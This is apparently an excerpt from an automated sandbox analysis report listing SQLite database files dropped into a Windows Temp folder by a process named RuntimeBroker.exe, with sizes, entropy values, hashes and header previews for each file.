SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\quFFMewy7h

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rAmfiyuYbR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rMxTBzZDTl

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rRwKpR0eEh

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rXYOrxVmy8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rscSikuYHt

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s2XBjhAtZB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sVBMKaSpiW

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tj5OZvDMsQ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trlgFG8BRJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uY9nZ7XoIs

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\udeAfSoohe

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uuegMOlRWI

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uzdcuQT1yi

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vLdAircKyJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vcDlopJP0m

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vqLCjYY7P2

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w658geteEv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w65IksJzRE

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wIK1Oqg4QT

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wRUFnyXceJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wUKbh1r419

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wZSuZ37Yxz

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wZVpb5Ud7E

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wi7lufRIIP

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wqUMEPukBj

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

